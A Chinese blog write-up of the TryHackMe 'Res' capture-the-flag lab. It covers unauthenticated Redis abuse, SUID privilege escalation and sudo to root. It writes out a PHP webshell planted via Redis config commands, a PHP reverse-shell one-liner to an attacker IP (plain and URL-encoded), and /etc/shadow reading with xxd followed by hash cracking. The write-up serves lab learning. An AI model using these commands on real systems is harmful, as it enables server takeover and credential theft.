首页 > 其他分享 >tryhackme-Res(资源)

tryhackme-Res(资源)

时间:2024-03-08 21:22:42浏览次数:26  
标签:20 22 Res redis 6379 3E% 263% 资源 tryhackme

这是我第一次接触redis,这个题目是最简单的

信息收集

使用nmap进行端口扫描

根据扫描结果,开放了80端口和6379端口(redis)服务

80端口进行目录扫描没有得到任何有用的信息,占时没太大用处

根据改题目的描述和题目名称,改题目需要对redis服务进行下手,在网上查找到了redis服务渗透测试指南
参考:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#authenticated-enumeration

其中讲到可以使用redis写入PHP Webshell

代码如下

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

初始访问权限

使用redis-cli -h target_ip -p 6379连接靶机
接着使用上述方法写入Junglezt.php,内容为<?php system($_GET['cmd']);?>

现在我们可以执行命令了,使用php获取反弹shell

代码如下:

php -r '$sock=fsockopen("10.14.74.4","4444");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

由于是GET方式传参,需要使用url编码,编码后如下

php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

传入cmd参数,在本地nc -lvp 4444监听,使用浏览器访问获得shell

10.10.194.198/Junglezt.php?cmd=php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

接着获取user.txt

权限提升

接着需要权限提升,查找suid文件发现xxd命令可以使用,查找GTFOBins找到对应方法可以读取任意文件,我们读取/etc/shadow

得到vianka用户的hash,使用john破解

得到vianka用户的密码为beautiful1

使用su切换到该用户时报错

是因为终端的问题,由于靶机的22端口也没有开放,我们也没有权限开放靶机22端口的权限,这里需要使用python生成一个终端

python -c "import pty;pty.spawn('/bin/bash')"

获取root权限

我们需要继续提权,接着使用sudo -l发现我们可以执行任何root用户的命令,使用sudo su得到root权限

总结

  1. 这个靶机学习到了一些redis的基本操作,另外还有一个ssh私钥获取shell的方法,但是不适用这个靶机
  2. php反弹shell的终端不可以使用su命令,在没有开启22端口的情况下,可以使用pythonpty方法获取一个伪终端

标签:20,22,Res,redis,6379,3E%,263%,资源,tryhackme
From: https://www.cnblogs.com/Junglezt/p/18061817

相关文章

  • Compressed Tree
    首先官方题解写的挺好的,可以看为什么需要在DP状态中定义\(i\)及其父亲的这条边也在呢?你可以试试不定义,那么你会发现是推不走的,因为比如我们现在正在推\(i\),那么他的一个儿子\(u\)的DP值都知道了,但是由于有了\((u,i)\)这一条边,我们就把\(u\)的度数改变了,这个时候\(u\)的DP值就不在......
  • PostgreSQL应该用哪个时区表示符?
    PG中国用哪个时区标识符?在linux中使用timedatectl查看时间,可以看到localtime中时区是CST。$timedatectlLocaltime:Mon2024-03-0418:19:54CSTUniversaltime:Mon2024-03-0410:19:54UTCRTCtime:Mon2024-03-0410:19:53Timezone:Asia/Shanghai(CST,+......
  • Istio中的核心资源及定义
    Istio的核心资源主要包括以下几种:1.Gateway用于建模边缘网关,可以为进入或离开网格的流量提供专用的入口和出口点。Gateway定义了在网格边缘运行的负载均衡器,用于接收传入或传出的HTTP/TCP连接。然后,它将接收到的连接路由到目标地址,该地址可以是网格内的服务,也可以是网格......
  • 【Spring RESTful】RESTful开发风格的一些细节
    传统基于MVC模式的Web应用的问题JSP返回HTML不能被app/小程序解析REST&&RESTfulRESTful传输数据客户端发送的所有请求都是url,url是用户交互入口服务端只返回JSON/XML格式数据,不包含任何的渲染内容不同的客户端接受数据之后,以自己的形式对数据进行渲染与展现RESTfu......
  • c# RestClient 请求接口
    引用RestSharp.dll//人员信息RestClientclient=newRestClient("url");client.Timeout=-1;varrequest=newRestRequest(Method.POST);request.AddHeader("appId",appId);......
  • Hexo、VitePress、Docusaurus,哪个最适合你的静态网站生成器?
    在选择合适的静态网站生成器时,Hexo、VitePress、Docusaurus是三个备受关注的选项,那么到底哪一个框架更适合你呢?本文将从使用场景、社区生态、功能、性能、扩展性这五个方面,帮你全方位分析各个框架的优缺点,以便为你的技术选型提供参考。1、应用场景Hexo,官方定位自己是"快速......
  • resurfaceio goreplay output-resurface 处理简单说明
    resurfaceiogoreplayoutput-resurface的处理实际上就是开发了一个新的output插件,对于数据的写入是使用了resurfaceio的golangloggersdk实现简单说明output_resurface.go,核心就是一个标准的goreplayplugin,通过gochannel实现消息处理,包装为一个自己的httpmessage......
  • tryhackme-dogcat(狗猫)
    描述已经说明了这个靶机的一些思路,LFI->提权->突破docker信息收集使用nmap进行端口扫描开放了80和22端口,直接访问80端口这是一个文件包含,通过尝试,发现传参内容中必须含有cat和dog,然后会将传参的最后加入.php,这里我使用%00节点也没有利用成功。尝试目录扫描gobuster......
  • PostgreSQL的generate_series函数应用
    一、简介PostgreSQL中有一个很有用处的内置函数generate_series,可以按不同的规则产生一系列的填充数据。二、语法函数参数类型返回类型描述generate_series(start,stop)int或bigintsetofint或setofbigint(与参数类型相同)生成一个数值序列,从start到stop,步进......
  • K8S - 配置资源管理
    配置资源管理ConfigMap资源(简称给cm)用于保存配置文件,环境变量等不需要加密的信息。它可以实现将配置信息与应用程序解耦    kubectlrunpod-demo--image=soscscs/myapp--port=80--dry-run=client-oyaml>pod-demo.yaml  kubectlcreatecmcm-de......